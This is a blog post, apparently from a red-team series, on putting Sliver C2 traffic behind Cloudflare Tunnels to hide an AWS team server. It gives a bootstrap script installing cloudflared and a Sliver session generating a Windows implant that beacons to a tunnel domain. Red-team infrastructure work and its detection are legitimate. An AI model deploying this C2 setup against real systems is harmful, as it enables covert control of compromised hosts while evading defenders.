Skip to content
port:9
Go back

#2 - Sliver C2 - Cloudflare Tunnels

Overview

The preceding publication in this series detailed the installation of the Sliver C2 framework on AWS via Terraform.

The objective of this installment is to analyze Sliver’s network communication patterns and implement fundamental modifications to enhance operational security. Furthermore, this guide demonstrates the utilization of the Cloudflare Tunnel feature to encapsulate traffic between the target implant host and the Sliver C2 team server provisioned on AWS. This architectural implementation prevents the direct exposure of the C2 backend to the public internet. Alternative solutions, such as ngrok’s secure tunneling feature, may also be employed. When leveraging such third-party services, strict adherence to the respective provider’s terms of service is mandatory.

The complete infrastructure-as-code repository is available on GitHub.

Command and Control infrastructure is strategically deployed to fulfill several core operational objectives:

Cloudflare Tunnels

Cloudflare Tunnel provides you with a secure way to connect your resources to Cloudflare without a publicly routable IP address. With Tunnel, you do not send traffic to an external IP — instead, a lightweight daemon in your infrastructure (cloudflared) creates outbound-only connections to Cloudflare’s edge. Cloudflare Tunnel can connect HTTP web servers, SSH servers, remote desktops, and other protocols safely to Cloudflare. This way, your origins can serve traffic through Cloudflare without being vulnerable to attacks that bypass Cloudflare.

Architecture

AWS Architecture

Under this topology, the C2 infrastructure is exclusively accessible via the whitelisted IP address of the Terraform provisioning environment. Conversely, deployed implants communicate strictly through Cloudflare’s Edge Network, thereby anonymizing the backend infrastructure.

Cloudflare Tunnel: Setup

  1. Initialize the tunnel configuration within the Cloudflare dashboard (Cloudflare Zero Trust -> Access -> Tunnels).
  2. Download and deploy the cloudflared agent daemon on the target host.
  3. Provision an external tunnel entry point (e.g., entry.random-malware-domain.com).
  4. Designate the internal upstream service mapping (e.g., http://localhost:4444). Note that the cloudflared daemon and the Sliver team server are not strictly required to reside on the same host. Operations can employ port forwarding utilities, such as socat, Nginx, or Traefik, to route traffic to discrete redirector instances.

Cloudflare tunnel setup

Terraform Script Update

The necessary directives to install and configure the cloudflared daemon have been integrated into the sliverc2-bootstrap.sh provisioning baseline:

#!/bin/bash
[...]
# sleep until instance is ready
# MSF nightly framework installer
# sliver c2 install:
[...]
# cloudflared:
curl -L --output cloudflared.deb https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb && 
sudo dpkg -i cloudflared.deb &&  
sudo cloudflared service install eyjbw[INSERT tunnel key here....] &&
systemctl status cloudflared --no-pager
exit

Upon successful daemon execution, the Cloudflare Zero Trust administrative dashboard should verify the tunnel’s status as ACTIVE:

Cloudflare tunnel systemd

Cloudflare tunnel setup 2

Sliver Implant

The corresponding Sliver implant must be compiled to establish outbound connections to the newly provisioned tunnel entry point (e.g., entry.random-malware-domain.com):

sliver > https
[*] Starting HTTPS :443 listener ...
[*] Successfully started job #1

sliver > generate --debug --http https://entry.random-malware-domain.com
[*] Generating new windows/amd64 implant binary
[*] Build completed in 00:00:22
[*] Implant saved to /home/ubuntu/RELIEVED_RETURN.exe

[*] Session 8a1eb5d4 RELIEVED_RETURN - (MSEDGEWIN10) - windows/amd64

Cloudflare tunnel beacon

until next time…

███████╗██╗     ██╗██╗   ██╗███████╗██████╗
██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
███████╗██║     ██║██║   ██║█████╗  ██████╔╝
╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

Further resources


Edit page
Previous Post
#3 - Sliver C2: Fingerprinting and Hunting
Next Post
#1 - Sliver C2: Intro